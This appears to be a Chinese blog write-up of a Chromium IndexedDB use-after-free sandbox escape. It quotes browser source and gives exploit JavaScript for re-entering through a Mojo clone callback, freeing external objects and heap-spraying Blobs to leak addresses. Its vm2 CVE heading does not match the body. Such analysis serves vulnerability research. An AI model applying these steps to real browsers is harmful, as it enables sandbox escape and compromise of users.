深入分析沙箱逃逸漏洞

NodeJS VM2沙箱逃逸漏洞分析【CVE-2023-29199】 Node.js 是一个基于 V8 引擎的开源、跨平台的 JavaScript 运行环境,它可以在多个操作系统上运行,包括 Windows、macOS 和 Linux 等。Node.js 提供了一个运行在服务器端的 JavaScript 环境,使得开发者可以编写并发的、高效的服务器端应用程序。Node.js 使用事件驱动、非阻塞 I/O 模型来支持并发运行。它支持通过插件扩展 API,以及通过 npm(Node.js 包管理器) 安装其他插件和模块。 阅读详情

Root Case

下面我们先来看一下漏洞的产生原理,从补丁开始入手,其中最主要的就是下面这个函数:

  bool IsAcceptingRequests() {
    return !is_commit_pending_ && state_ != COMMITTING && state_ != FINISHED;
  }

补丁在每个DatabaseImpl和TransactionImpl接口中添加了该判断,使得处于COMMITTING和FINISHED状态的transaction无法执行,那么反过来思考就是说在这两个状态下继续进行新的transaction就会导致漏洞的产生。

而对于FINISHED状态,如同字面上的意思它代表结束,并没有什么好入手的点,所以我们更多的把精力放在COMMITTING状态,该状态可以通过IndexedDBTransaction::Commit()和TransactionImpl::Commit()这两个函数来进行设置,这里有一个有趣的调用链:

 IndexedDBTransaction::Commit --> IndexedDBBackingStore::Transaction::CommitPhaseOne --> IndexedDBBackingStore::Transaction::WriteNewBlobs
  }

其中,会调用blob_storage或file_system_access,将提交数据写入磁盘,代码如下:

        case IndexedDBExternalObject::ObjectType::kFile:
        case IndexedDBExternalObject::ObjectType::kBlob: {
          if (entry.size() == 0)
            continue;
          // If this directory creation fails then the WriteBlobToFile call
          // will fail. So there is no need to special-case handle it here.
          base::FilePath path = GetBlobDirectoryNameForKey(
              backing_store_->blob_path_, database_id_, entry.blob_number());
          backing_store_->filesystem_proxy_->CreateDirectory(path);
          // TODO(dmurph): Refactor IndexedDBExternalObject to not use a
          // SharedRemote, so this code can just move the remote, instead of
          // cloning.
          mojo::PendingRemote<blink::mojom::Blob> pending_blob;
          entry.remote()->Clone(pending_blob.InitWithNewPipeAndPassReceiver());

          // Android doesn't seem to consistently be able to set file
          // modification times. The timestamp is not checked during reading
          // on Android either. https://crbug.com/1045488
          absl::optional<base::Time> last_modified;
          blob_storage_context->WriteBlobToFile(
              std::move(pending_blob),
              backing_store_->GetBlobFileName(database_id_,
                                              entry.blob_number()),
              IndexedDBBackingStore::ShouldSyncOnCommit(durability_),
              last_modified, write_result_callback);
          break;
        }
  }

 case IndexedDBExternalObject::ObjectType::kFileSystemAccessHandle: {
          if (!entry.file_system_access_token().empty())
            continue;
          // TODO(dmurph): Refactor IndexedDBExternalObject to not use a
          // SharedRemote, so this code can just move the remote, instead of
          // cloning.
          mojo::PendingRemote<blink::mojom::FileSystemAccessTransferToken>
              token_clone;
          entry.file_system_access_token_remote()->Clone(
              token_clone.InitWithNewPipeAndPassReceiver());
  backing_store_->file_system_access_context_->SerializeHandle(
              std::move(token_clone),
              base::BindOnce(
                  [](base::WeakPtr<Transaction> transaction,
                     IndexedDBExternalObject* object,
                     base::OnceCallback<void(
                         storage::mojom::WriteBlobToFileResult)> callback,
                     const std::vector<uint8_t>& serialized_token) {
                    // |object| is owned by |transaction|, so make sure
                    // |transaction| is still valid before doing anything else.
                    if (!transaction)
                      return;
                    if (serialized_token.empty()) {
                      std::move(callback).Run(
                          storage::mojom::WriteBlobToFileResult::kError);
                      return;
                    }
                    object->set_file_system_access_token(serialized_token);
                    std::move(callback).Run(
                        storage::mojom::WriteBlobToFileResult::kSuccess);
                  },
                  weak_ptr_factory_.GetWeakPtr(), &entry,
                  write_result_callback));
          break;
        }
  }

这里我们重点看一下kFileSystemAccessHandle这种情况,这里我们可以利用Clone来重入js,紧急插入一些基础知识科普,我们先从下面这个例子开始说起,这是一个常见的绑定接口的操作:

var fileAccessPtr = new blink.mojom.FileSystemAccessTransferTokenPtr();
var fileAccessRequest = mojo.makeRequest(fileAccessPtr);
Mojo.bindInterface(blink.mojom.FileSystemAccessTransferToken.name, fileAccessRequest.handle);

【一>所有资源获取<一】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包

这里画了一个图帮助理解:

image.png

fileAccessPtr和fileAccessRequest分别代表interface连接的client端和service端,这里是通过mojo.makeRequest来实现的。

mojo.makeRequest创建一个message pipe,用pipe的一端填充output参数(可以是InterfacePtrInfo或interface pointer),返回包装在InterfaceRequest实例中的另一端。

  // |output| could be an interface pointer, InterfacePtrInfo or
  // AssociatedInterfacePtrInfo.
  function makeRequest(output) {
    if (output instanceof mojo.AssociatedInterfacePtrInfo) {
      var {handle0, handle1} = internal.createPairPendingAssociation();
      output.interfaceEndpointHandle = handle0;
      output.version = 0;

      return new mojo.AssociatedInterfaceRequest(handle1);
    }

    if (output instanceof mojo.InterfacePtrInfo) {
      var pipe = Mojo.createMessagePipe();
      output.handle = pipe.handle0;
      output.version = 0;

      return new mojo.InterfaceRequest(pipe.handle1);
    }

    var pipe = Mojo.createMessagePipe();
    output.ptr.bind(new mojo.InterfacePtrInfo(pipe.handle0, 0));
    return new mojo.InterfaceRequest(pipe.handle1);
  }

Mojo.bindInterface会调用bindInterface函数

  //third_party/blink/renderer/core/mojo/mojo.cc
// static
void Mojo::bindInterface(ScriptState* script_state,
                         const String& interface_name,
                         MojoHandle* request_handle,
                         const String& scope) {
  std::string name = interface_name.Utf8();
  auto handle =
      mojo::ScopedMessagePipeHandle::From(request_handle->TakeHandle());

  if (scope == "process") {
    Platform::Current()->GetBrowserInterfaceBroker()->GetInterface(
        mojo::GenericPendingReceiver(name, std::move(handle)));
    return;
  }

  ExecutionContext::From(script_state)
      ->GetBrowserInterfaceBroker()
      .GetInterface(name, std::move(handle));
}

通过从render和browser之间已经建立好的BrowserInterfaceBroker来通过GetInterface去调用之前通过map->Add注册好的bind函数,简单来说就是创建对应mojo接口的implement对象,然后和Receiver绑定到一起。 这样就可以通过render的remote来调用browser里的代码了。

那么如何实现重入js呢?

  function FileSystemAccessTransferTokenImpl() {
    this.binding = new mojo.Binding(blink.mojom.FileSystemAccessTransferToken, this);
}
FileSystemAccessTransferTokenImpl.prototype = {
    clone: async (arg0) => {
        // 自定义
    }
};

var fileAccessPtr = new blink.mojom.FileSystemAccessTransferTokenPtr();
var fileAccessImpl = new FileSystemAccessTransferTokenImpl();
var fileAccessRequest = mojo.makeRequest(fileAccessPtr);
fileAccessImpl.binding.bind(fileAccessRequest);

首先需要在render层(也就是js)实现一个fileAccessImpl,之后自定义一个想要的clone方法,再利用mojo.Binding.bind的方法将mojo.makeRequest返回的InterfaceRequest绑定到js实现的fileAccessImpl上。

 // -----------------------------------
  // |request| could be omitted and passed into bind() later.
  //
  // Example:
  //
  //    // FooImpl implements mojom.Foo.
  //    function FooImpl() { ... }
  //    FooImpl.prototype.fooMethod1 = function() { ... }
  //    FooImpl.prototype.fooMethod2 = function() { ... }
  //
  //    var fooPtr = new mojom.FooPtr();
  //    var request = makeRequest(fooPtr);
  //    var binding = new Binding(mojom.Foo, new FooImpl(), request);
  //    fooPtr.fooMethod1();
    function Binding(interfaceType, impl, requestOrHandle) {
    this.interfaceType_ = interfaceType;
    this.impl_ = impl;
    this.router_ = null;
    this.interfaceEndpointClient_ = null;
    this.stub_ = null;

    if (requestOrHandle)
      this.bind(requestOrHandle);
  }

  ......

    Binding.prototype.bind = function(requestOrHandle) {
    this.close();

    var handle = requestOrHandle instanceof mojo.InterfaceRequest ?
        requestOrHandle.handle : requestOrHandle;
    if (!(handle instanceof MojoHandle))
      return;

    this.router_ = new internal.Router(handle);

    this.stub_ = new this.interfaceType_.stubClass(this.impl_);
    this.interfaceEndpointClient_ = new internal.InterfaceEndpointClient(
        this.router_.createLocalEndpointHandle(internal.kPrimaryInterfaceId),
        this.stub_, this.interfaceType_.kVersion);

    this.interfaceEndpointClient_ .setPayloadValidators([
        this.interfaceType_.validateRequest]);
  };

这样就不需要从render发送PendingReceiver给Browser,去调用browser侧的interface implemention,也就变成了从render来调用render里的代码。

image.png

之后我们将remote传入external_object

var external_object = new blink.mojom.IDBExternalObject();
external_object.fileSystemAccessToken = fileAccessPtr;

之后在IndexedDBBackingStore::Transaction::WriteNewBlobs中通过entry.file_system_access_token_remote()获取传入的remote,之后调用的clone就会是我们定义的js代码,即实现了重入js。

entry.file_system_access_token_remote()->Clone(
              token_clone.InitWithNewPipeAndPassReceiver());

这里我们定义的clone如下:

            FileSystemAccessTransferTokenImpl.prototype = {
                clone: async (arg0) => {
                    // IndexedDBBackingStore::Transaction::WriteNewBlobs is waiting for writing complete, so we can hookup COMMITTING state_ of transition
                    // replace key/value in object store to delete the external object
                    print("=== clone ===");
                    var value = new blink.mojom.IDBValue();
                    value.bits = [0x41, 0x41, 0x41, 0x41];
                    value.externalObjects = [];
                    var key = new blink.mojom.IDBKey();
                    key.string = new mojoBase.mojom.String16();
                    key.string.data = "key";
                    var mode = blink.mojom.IDBPutMode.AddOrUpdate;
                    var index_keys = [];
                    idbTransactionPtr.put(object_store_id, value, key, mode, index_keys);

                    // commit force put operation
                    idbTransactionPtr.commit(0);

                    for(let i = 0; i < 0x1000; i++){
                        var a=new Blob([heap1]);
                        blob_list.push(a);
                    }
                    done = true; 
                    // get token for file handle, control-flow comeback to callback within cached external object ==> UAF
                    fileAccessHandlePtr.transfer(arg0);
                }
            };

这里有一个需要注意的地方:

  entry.file_system_access_token_remote()->Clone(
              token_clone.InitWithNewPipeAndPassReceiver());

          backing_store_->file_system_access_context_->SerializeHandle

clone在这里是异步调用的,我们需要根据实际情况来确定执行顺序。
下面涉及到uaf的主要成因,将分成三个部分来讲:

1、uaf的成因

external_objects的释放涉及到两次put请求,释放发生在clone重入的第二次put中。
释放external_objects的调用链如下:

TransactionImpl::Put —> IndexedDBDatabase::PutOperation —> IndexedDBBackingStore::PutRecord —> IndexedDBBackingStore::Transaction::PutExternalObjectsIfNeeded

在TransactionImpl::Put需要注意一下params,他存储了我们传入的object_store_id, value, key, mode, index_keys,几个关键部分的偏移如下:

params->object_store_id  偏移:0x0
params->value  偏移:0x8~0x30
params->key  偏移:0x38

image.png

params->value的类型为IndexedDBValue

struct CONTENT_EXPORT IndexedDBValue {
......
  std::string bits;
  std::vector<IndexedDBExternalObject> external_objects;
};

由于我们之后要释放external_object,在这里打了一个log来输出他的地址和大小,这个184也就是之后我们要堆喷的大小。

image.png

这个图是clone中第二次调用,在第二次put时我们传入了空的external_object,bits(也就是之后要用到的key)仍与第一次相同

image.png

free发生在此处,由于我们第二次传入的externalobject为空,将会走到external_object_change_map.erase,由于两次的object_store_data_key相同,将会把第一次传入的external_object给释放掉。

Status IndexedDBBackingStore::Transaction::PutExternalObjectsIfNeeded(
    int64_t database_id,
    const std::string& object_store_data_key,
    std::vector<IndexedDBExternalObject>* external_objects) {
  DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);

  if (!external_objects || external_objects->empty()) {
    external_object_change_map_.erase(object_store_data_key); //free here!!
    incognito_external_object_map_.erase(object_store_data_key);

    .......
}

class IndexedDBExternalObjectChangeRecord {
    ........

private:
  std::string object_store_data_key_;
  std::vector<IndexedDBExternalObject> external_objects_;
};

调试一下两次PutExternalObjectsIfNeeded,可以看到object_store_data_key是相同的。

image.png

image.png

2、clone中commit的作用

由于clone是在上次commit中被调用的,此时我们正处于上一个事务的提交过程中,此时只进行put请求的话并不会直接处理该事务,而是会优先处理完上一个操作,可以看下面的图:

image.png

而我们的free操作是发生在put中的,如果想要泄漏出token的地址,就需要put先于set_file_system_access_token执行,这里使用了commit来强制提交put,这样相当于put进行了插队,即可实现我们想要的效果。

image.png

此时又会产生一个新的问题,在这里再次调用commit不会继续调用clone重入吗?

答案是不会的,让我们来看下面这块代码:

IndexedDBTransaction::RunTasks() {
  .......

  // If there are no pending tasks, we haven't already committed/aborted,
  // and the front-end requested a commit, it is now safe to do so.
  if (!HasPendingTasks() && state_ == STARTED && is_commit_pending_) {
    processing_event_queue_ = false;
    // This can delete |this|.
    leveldb::Status result = Commit(); //IndexedDBTransaction::Commit()
    if (!result.ok())
      return {RunTasksResult::kError, result};
  }

  .......   
}

可以看到只有当state == STARTED的时候才会调用IndexedDBTransaction::Commit,进而去调用
WriteNewBlobs,我们第二次调用commit的时候此时的state已经是COMMITTING了。
第一次commit:

image.png

第二次commit:

image.png

3、transfer的作用

首先我们先来看这段调用链:

FileSystemAccessManagerImpl::SerializeHandle --> FileSystemAccessManagerImpl::ResolveTransferToken --> FileSystemAccessManagerImpl::DoResolveTransferToken  --> FileSystemAccessManagerImpl::DoResolveTransferToken --> FileSystemAccessManagerImpl::DidResolveForSerializeHandle

可以看到在DoResolveTransferToken调用时需要从transfertokens找到一个token才能最终走到SerializeHandle的回调中

void FileSystemAccessManagerImpl::DoResolveTransferToken(
    mojo::Remote<blink::mojom::FileSystemAccessTransferToken>,
    ResolvedTokenCallback callback,
    const base::UnguessableToken& token) {
  DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);

  auto it = transfer_tokens_.find(token);
  if (it == transfer_tokens_.end()) {
    std::move(callback).Run(nullptr);
  } else {
    std::move(callback).Run(it->second.get());
  }
}

所以我们需要在clone中调用fileAccessHandlePtr.transfer(arg0);

void FileSystemAccessManagerImpl::DidResolveForSerializeHandle(
    SerializeHandleCallback callback,
    FileSystemAccessTransferTokenImpl* resolved_token) {
  if (!resolved_token) {
    std::move(callback).Run({});
    return;
  }

  .......

  std::string value;
  bool success = data.SerializeToString(&value);
  DCHECK(success);
  std::vector<uint8_t> result(value.begin(), value.end());
  std::move(callback).Run(result);
}

之后传入DoResolveTransferToken的FileSystemAccessTransferTokenImpl经过处理变为了result,它即object->set_file_system_access_token(serialized_token)中的serialized_token。

    backing_store_->file_system_access_context_->SerializeHandle(
              std::move(token_clone),
              base::BindOnce(
                  [](base::WeakPtr<Transaction> transaction,
                     IndexedDBExternalObject* object,
                     base::OnceCallback<void(
                         storage::mojom::WriteBlobToFileResult)> callback,
                     const std::vector<uint8_t>& serialized_token) {
                    // |object| is owned by |transaction|, so make sure
                    // |transaction| is still valid before doing anything else.
                    if (!transaction)
                      return;
                    if (serialized_token.empty()) {
                      std::move(callback).Run(
                          storage::mojom::WriteBlobToFileResult::kError);
                      return;
                    }
                    object->set_file_system_access_token(serialized_token);
                    std::move(callback).Run(
                        storage::mojom::WriteBlobToFileResult::kSuccess);
                  },
                  weak_ptr_factory_.GetWeakPtr(), &entry,
                  write_result_callback));
          break;

这里需要注意一点:

image.png

在SerializeToString序列化的过程中,会计算出一个8字节的内容填充在token的最前面,后续才是我们的file_name,所以在用file_name去控制token大小时需要注意token的大小会大file_name0x8。

小结

上面分了三个部分来讲,下面我们整合一下上面的内容:

  • 我们可以使用clone重入js,即可在clone中二次调用put。

  • 第二次put中如果传入key相同的空external_object将会释放第一次put的external_object。

  • 通过transer将token传入了set_file_system_access_token。

  • 通过commit来插队使得PutExternalObjectsIfNeeded先于set_file_system_access_token执行

  • 通过blob申请回free掉的external_object,之后set_file_system_access_token将会将token写入我们的blob,之后通过读取blob即可获得token(vector容器)的begin等地址。

沙箱逃逸漏洞复现 沙箱就是能够像一个集装箱一样,把你的应用“装”起来的技术。这样,应用与应用之间,就因为有了边界而不至于相互干扰而被装进集装箱的应用,也可以被方便地搬来搬去。 阅读详情

相关推荐

浏览器Pwn与V8引擎漏洞利用:从类型混淆到沙箱逃逸的实战指南

在软件安全领域,内存安全漏洞的利用是攻击者实现远程代码执行的关键路径。其核心原理在于,程序对内存的访问违反了预设的安全边界,例如数组越界、释放后使用或类型混淆,从而允许攻击者读写或执行非预期的内存区域。这类技术的工程价值在于,它能够将看似无害的软件缺陷转化为强大的攻击原语,如任意地址读写,最终颠覆系统的安全模型。在浏览器这类复杂应用中,高性能的JavaScript引擎(如V8)因其即时编译、复杂的内存管理和类型系统,成为了此类漏洞的高发区。攻击者通过精心构造的JavaScript代码,可以触发引擎优化过程中

weixin_33913332的博客 266

获取计算机硬件信息及硬盘序列号的JavaScript技巧

需要注意的是,上述代码是基于Windows操作系统,并使用了ActiveX对象。对象来连接计算机的硬件服务,并使用WMI (Windows Management Instrumentation) 查询硬盘信息。在JavaScript中,我们可以使用一些技巧来获取计算机的硬件信息,包括硬盘序列号。希望这个示例能帮助你了解如何使用JavaScript获取计算机的硬盘序列号和其他硬件信息。如果你想在其他环境中获取硬件信息,可以考虑使用不同的技术和工具,例如Node.js的。,即硬盘序列号和其他硬件信息。

TechNovaX的博客 1140

从RISC-V模拟器UAF漏洞到Seccomp沙箱逃逸的完整攻击链分析

在系统安全领域,内存管理漏洞沙箱逃逸是两大核心攻防场景。Use-After-Free(UAF)作为典型的内存破坏漏洞,其原理在于程序释放内存后未清空指针,导致后续操作可访问已释放区域,常被利用于劫持控制流。Seccomp作为Linux内核的沙箱机制,通过BPF过滤器限制进程系统调用,但规则设计缺陷可能引发逃逸风险。在CTF实战与真实漏洞利用中,攻击者常需串联多个漏洞形成攻击链。本文以一道融合RISC-V模拟器UAF与Seccomp绕过的综合赛题为例,详解如何通过堆风水布局实现代码执行,并利用沙箱规则参数检

djai0102的博客 530

虚拟机/沙箱逃匿漏洞复现

明天研究这个。

温和的跳跃 683

【严重】vm2 <3.9.15 沙箱逃逸漏洞(CVE-2023-29017)

vm2 是一个沙箱,用于在 Node.js 环境中运行不受信任的代码。宿主对象(Host objects)是指由 Node.js 的宿主环境提供的对象,例如全局对象、文件系统或网络请求等。 vm2 3.9.15之前版本中,当处理异步错误时未正确处理 Error.prepareStackTrace 的宿主对象,攻击者可利用该漏洞绕过沙箱保护,在运行沙箱的主机上远程执行任意代码。

murphysec的博客 1715

奇安信代码安全实验室帮助 RedHat 修复两个 oVirt 漏洞,获官方致谢

聚焦源代码安全,网罗国内外最新资讯!奇安信代码安全实验室研究员帮助 Red Hat在oVirt-engine 软件中发现了两个漏洞(CVE-2020-14333和CVE-2020-107...

smellycat000的专栏 719

Qemu虚拟机沙箱逃逸漏洞分析说明

漏洞版本bd80b59(5.0.0前版本)编译配置:启用调试符号与x86_64架构支持。

远方雪的专栏 1350

免费沙箱软件模拟支付_CVE20193969:Comodo沙箱逃逸提权漏洞分析

译文声明本文是翻译文章,文章原作者tenable-techblog,文章来源:medium.com原文地址:https://medium.com/tenable-techblog/comodo-from-sandbox-to-system-cve-2019-3969-b6a34cc85e67译文仅供参考,具体内容表达以及含义原文为准0x00 前言AV(反病毒软件)一直以来都是漏洞挖掘的绝...

weixin_28323057的博客 567

CVE-2025-2783沙箱逃逸漏洞分析与利用

漏洞成因分析不多,我们需要借助patch来进行分析,先来看他对此次修复的说明:此次修复主要涉及到一个“sentinel handle“的概念,此句柄会被系统函数误解,这个“sentinel handle“其实就是INVALID_HANDLE_VALUE这些无效句柄具体去查看修补内容会发现,关键的修复点在DecodeHandle和EncodeHandle两个函数中,当在解码handle时,会检查传入的handle是否是伪句柄,如果是就crash,这里的。

Anansi的博客 924

【容器沙箱安全加固终极指南】:揭秘9大高危漏洞及5步闭环防护策略

掌握容器沙箱安全加固核心方法,系统应对云原生环境下的9大高危漏洞。涵盖漏洞原理、5步闭环防护策略及实际应用场景,提升隔离性与 runtime 安全。方案兼具实战性与可落地性,值得收藏。

VarLens的博客 710

n8n表达式注入漏洞CVE-2025-68613:从原理到RCE的深度剖析与防御

表达式注入是一种常见的安全漏洞,其原理在于应用程序未对用户输入进行充分验证和净化,导致攻击者能够将恶意代码片段注入到动态表达式或模板的解析上下文中。在Node.js生态中,这类漏洞常因沙箱逃逸而升级,攻击者利用JavaScript原型链或上下文暴露等机制,突破隔离环境,最终在主进程执行任意代码,实现远程命令执行,对服务器安全构成严重威胁。其技术价值在于揭示了低代码/无代码平台在追求灵活性的同时,表达式引擎安全设计的复杂性。应用场景广泛,常见于工作流自动化、数据集成和API编排工具中,用户输入通过图形化节点处

weixin_32234493的博客 328

漏洞根因到行业防御体系:CVE-2025-13223 Chrome V8 类型混淆漏洞深度技术报告

V8引擎TurboFan编译器存在类型混淆漏洞,因未处理异步场景下的类型动态变更,导致攻击者可利用类型推断缓存缺陷实现内存操作。漏洞于2025年2月被发现,影响Chromium内核浏览器及嵌入式设备等场景。利用链包含触发类型混淆、绕过ASLR、代码执行及沙箱逃逸四个阶段。防御措施包括强制更新浏览器、启用CSP保护、企业级补丁推送及安全策略强化。建议浏览器厂商优化TurboFan的类型重校验机制,并引入类型混淆检测模块提升安全性。

从零开始,掌握网络安全。提供全面的网络安全教程、攻防演练技巧和行业动态。 1133

js获取电脑或手机相关信息

要获取电脑或手机的相关信息,您可以使用JavaScript与浏览器提供的一些API进行交互。

(ง •̀_•́)ง 2466

GhostScript 沙箱绕过命令执行漏洞

当dorestore退出时,LockFilePermissions的值被设置为falsea = blob;随后使用.setuserparams方法还原LockFilePermissionsa = blob;但是,在restore之后,.setuserparams方法执行之前,可能会抛出StackOverflowError栈溢出错误,不会重置“LockFilePermissions”。从而导致绕过-dSAFER。...

m0_63241485的博客 1487

【高危】vm2 <3.9.17 沙箱逃逸漏洞(POC)(CVE-2023-30547 )

vm2 是一个基于 Node.js 的沙箱环境,可以使用列入白名单的 Node 内置模块运行不受信任的代码。 由于 CVE-2023-29199 的修复不完整,vm2 3.9.17 之前版本的 transformer.js 文件中的 transformer 函数异常处理逻辑存在缺陷。攻击者可以利用这个缺陷,在 handleException() 函数中构造一个主机异常,从而绕过沙箱限制,实现在主机中执行任意代码的攻击。 该漏洞已存在POC。

murphysec的博客 1396

Redis沙盒逃逸漏洞(CVE-2022-0543)复现以及流量特征分析

Redis Labs Redis是美国Redis Labs公司的一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值(Key-Value)存储数据库,并提供多种语言的API。Redis 存在代码注入漏洞,攻击者可利用该漏洞远程执行代码。Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。

xhscxj的博客 2383

Backing Store ( 五 )的创建

不是所有的RenderLayer都需要创建它的Backing Store,只有网页的RenderObject树之RenderLayer满足如下条件: 1 Transform:几何变换 2 Video:页面有 3 Canvas: 页面有 4 Plugin 5 Frame 6 3DTransforms 7 Animation 8 Filters:CSS过滤器 9 Position

不积跬步无以至千里,不积小流无以成江海 4106

【2023亲测可用】JS 获取电脑本地IP 和 电脑网络IP(外网IP|公网IP)

本地网络IP、内网IP、网络IP、外网IP、公网IP

smart_dream 3万+
上一篇: 学习黑客十余年,如何成为一名安全工程师?
下一篇: web安全之挖掘Linux内核漏洞
kali_Ma
博客等级 码龄5年 2万+粉丝 303原创
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值